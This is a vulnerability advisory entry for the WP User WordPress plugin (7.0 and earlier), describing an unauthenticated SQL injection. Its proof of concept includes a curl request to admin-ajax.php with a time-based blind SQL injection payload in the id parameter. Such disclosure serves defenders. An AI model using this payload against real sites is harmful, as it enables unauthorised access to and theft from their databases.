WordPress Plugin Vulnerabilities
WP User <= 7.0 - Unauthenticated SQLi
Description
The plugin does not properly sanitize and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users.
Proof of Concept
1. As an unauthenticated user, visit the "Sign Up" page (by default, this is /?page_id=5, or /user/) 2. Extract the "wpuser_update_setting" nonce (CTRL+F for "wpuser_update_setting") 3. Invoke the following curl command, with the just extracted nonce, to induce a 5 seconds sleep: time curl https://example.com/wp-admin/admin-ajax.php \ --data 'action=wpuser_group_action&group_action=x&wpuser_update_setting=<NONCE>&id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))khkM)'
Affects Plugins
References
CVE
Classification
Type
SQLI
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
cydave
Submitter
cydave
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Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-12-09 (about 1 years ago)
Added
2022-12-09 (about 1 years ago)
Last Updated
2022-12-09 (about 1 years ago)